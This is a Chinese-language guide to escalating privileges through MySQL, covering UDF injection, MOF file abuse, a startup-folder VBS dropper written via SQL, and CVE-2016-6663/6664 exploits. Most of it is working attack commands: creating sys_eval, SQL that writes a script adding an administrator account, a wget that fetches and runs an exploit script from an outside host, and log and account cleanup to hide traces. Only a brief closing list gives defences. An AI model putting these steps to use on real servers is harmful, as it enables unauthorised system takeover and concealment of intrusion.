数据库MySQL提权
字数 1533 2025-08-03 16:45:24
MySQL提权技术全面指南
一、UDF提权技术
1.1 UDF基础概念
UDF(User Defined Function)是MySQL的扩展接口,允许用户创建自定义函数,这些函数可以像内置函数一样在SQL语句中调用。
1.2 提权前提条件
- 获取数据库用户和密码
- MySQL允许远程登录
- 具有文件写入权限(secure_file_priv值为空)
- Windows下要求:
- MySQL>5.1:udf.dll必须放在lib\plugin目录(默认不存在)
- MySQL<5.1:2003系统放c:\windows\system32,2000系统放c:\winnt\system32
1.3 提权步骤
- 创建lib/plugin目录(如不存在)
- 导出udf.dll到目标目录
- 创建函数:
create function sys_eval returns string soname 'udf.dll'; - 执行系统命令:
select sys_eval('whoami');
1.4 工具使用
1.4.1 MDUT工具
- 支持多数据库操作
- 使用步骤:
- 新建目标连接
- 创建lib/plugin目录
- 执行UDF提权
- 执行系统命令
1.4.2 MSF提权
- 使用模块:exploit/multi/mysql/mysql_udf_payload
- 需要先创建lib/plugin目录
- 生成随机名称的dll文件并加载
1.5 手工提权
- 获取udf.dll文件(可从sqlmap或msf获取)
- sqlmap文件需要解码:
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
- sqlmap文件需要解码:
- 上传到目标服务器
- 创建函数:
create function [function_name] returns string soname "lib_mysqludf_sys.dll"; - 查看dll中包含的函数名(使用十六进制编辑器)
二、MOF提权技术
2.1 MOF提权原理
利用Windows系统的托管对象格式文件,该文件每5秒监控进程创建和死亡,通过替换此文件执行恶意命令。
2.2 利用条件
- 仅适用于Windows系统(XP/2003等低版本)
- 对C:\Windows\System32\wbem\MOF目录有写权限
- 可找到一个可写目录写入mof文件
2.3 手动提权步骤
- 生成testmod.mof文件
- 上传到靶机可写目录
- 执行导入命令:
select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof";
2.4 MSF提权
使用模块:exploit/windows/mysql/mysql_mof
2.5 痕迹清理
net stop winmgmt
rmdir /s /q C:\Windows\system32\wbem\Repository\
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
net user hacker /delete
net start winmgmt
三、启动项提权
3.1 启动项路径
- Windows 2003:
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 - Windows 2008:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
3.2 利用方法
- 创建vbs脚本:
set wshshell=createobject("wscript.shell") a=wshshell.run("cmd.exe /c net user test test123 /add",0) b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0) - 上传到启动目录
- 或使用SQL语句直接写入:
use mysql; create table test(cmd text); insert into a values("set wshshell=createobject(""wscript.shell"")"); insert into a values("a=wshshell.run(""cmd.exe /c net user test test123 /add"",0)"); insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators test /add"",0)"); select * from a into outfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs";
四、CVE-2016-6663/6664提权
4.1 CVE-2016-6663
将www-data权限提升为mysql权限
利用条件:
- 已获取webshell(www-data权限)
- 拥有CREATE/DROP/INSERT/SELECT权限的数据库账号
- 需要在交互式shell环境中运行
- MySQL版本<5.5.51或<5.6.32或<5.7.14
利用步骤:
- 下载exp(mysql-privesc-race.c)
- 编译:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient - 执行:
./mysql-privesc-race test 123456 localhost test
4.2 CVE-2016-6664
将mysql权限提升为root权限
前提条件:
- 日志配置为基于文件(非syslog)
- MySQL版本<5.5.51或<5.6.32或<5.7.14
利用步骤:
- 确保不是syslog日志方式
- 下载执行exp:
wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh chmod 777 mysql-chowned.sh ./mysql-chowned.sh /var/log/mysql/error.log
五、常见问题解决
5.1 远程连接问题
- 修改my.cnf:
bind-address = 0.0.0.0 - 授权远程用户:
grant all on *.* to admin@'%' identified by '123456' with grant option; flush privileges;
5.2 secure_file_priv设置
- 值为null:不允许导入导出
- 值为路径:限制导入导出到指定目录
- 值为空:无限制
修改my.ini添加:
secure_file_priv=''
5.3 函数删除
drop function if exists [function_name];
六、防御建议
- 限制MySQL用户权限
- 设置secure_file_priv为特定目录或null
- 及时更新MySQL版本
- 限制lib/plugin目录权限
- 监控异常进程创建
- 定期检查启动项
- 对MOF目录设置严格权限